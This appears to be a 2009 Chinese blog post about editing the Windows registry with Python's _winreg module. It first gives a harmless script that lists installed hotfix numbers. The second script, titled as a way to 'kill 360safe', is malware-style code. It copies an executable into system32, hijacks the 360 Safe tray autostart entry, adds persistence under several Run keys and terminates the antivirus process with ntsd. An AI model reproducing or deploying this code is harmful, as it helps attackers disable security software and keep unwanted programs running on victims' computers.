在Python的标准库中,_winreg.pyd可以操作Windows的注册表,另外第三方的win32库封装了大量的Windows
API,使用起来也很方便。不过这里介绍的是使用_winreg操作注册表,毕竟是Python自带的标准库,无需安装第三方库。
下面的例子是通过Python获取Windows
XP下已经安装的补丁号。Windows的补丁号都在“HKEY_LOCAL_MACHINE\SOFTWARE\\Microsoft\\
Updates”下,通过循环下面所有的目录节点,如果找到的名称符合正则表达式KB(\d{6}).*,则表示是一个补丁号。
从例子可以看出操作起来非常的简单和快速。
1 # -*- coding: utf-8 -*-
2 # 获取Windows的已打的补丁号
3 from _winreg import *
4 import re
5
6 def subRegKey(key, pattern, patchlist):
7 # 个数
8 count = QueryInfoKey(key)[0]
9 for index in range(count):
10 # 获取标题
11 name = EnumKey(key, index)
12 result = patch.match(name)
13 if result:
14 patchlist.append(result.group(1))
15 sub = OpenKey(key, name)
16 subRegKey(sub, pattern, patchlist)
17 CloseKey(sub)
18
19 if __name__ == '__main__':
20 patchlist = []
21 updates = 'SOFTWARE\\Microsoft\\Updates'
22 patch = re.compile('(KB\d{6}).*')
23 key = OpenKey(HKEY_LOCAL_MACHINE, updates)
24 subRegKey(key, patch, patchlist)
25 print 'Count: ' + str(len(patchlist))
26 for p in patchlist:
27 print p
28 CloseKey(key)
29
用python修改注册表干掉360safe
1 import _winreg
2 import os
3 import shutil
4
5 #复制自身
6 shutil.copyfile('K3.exe','c:\WINDOWS\system32\K3.exe')
7
8 #把360启动改为自身
9 run = _winreg.OpenKey(
10 _winreg.HKEY_LOCAL_MACHINE,
11 "SOFTWARE\Microsoft\Windows\CurrentVersion\Run",0,_winreg.KEY_WRITE
12 )
13
14 _winreg.SetValueEx(
15 run,"360Safetray",0,_winreg.REG_SZ,
16 r"C:\WINDOWS\system32\k3.exe"
17 )
18
19 #添加自启动
20 self = _winreg.OpenKey(
21 _winreg.HKEY_LOCAL_MACHINE,
22 "SOFTWARE\Microsoft\Windows\CurrentVersion\Run",0,_winreg.KEY_WRITE
23 )
24
25 _winreg.SetValueEx(
26 run,"k3",0,_winreg.REG_SZ,
27 r"C:\WINDOWS\system32\k3.exe"
28 )
29 #添加所有用户启动
30 allrun = _winreg.OpenKey(
31 _winreg.HKEY_LOCAL_MACHINE,
32 "Microsoft\Windows\CurrentVersion\policies\Explorer\Run",0,_winreg.KEY_WRITE
33 )
34 _winreg.SetValueEx(
35 allrun,"k3",0,_winreg.REG_SZ,
36 r"C:\WINDOWS\system32\k3.exe"
37 )
38
39 #终止360进程
40 os.popen("ntsd -c q -pn 360tray.exe cmd")
posted on 2009-07-31 19:12
老马驿站 阅读(808)
评论(0) 编辑 收藏 引用 所属分类:
python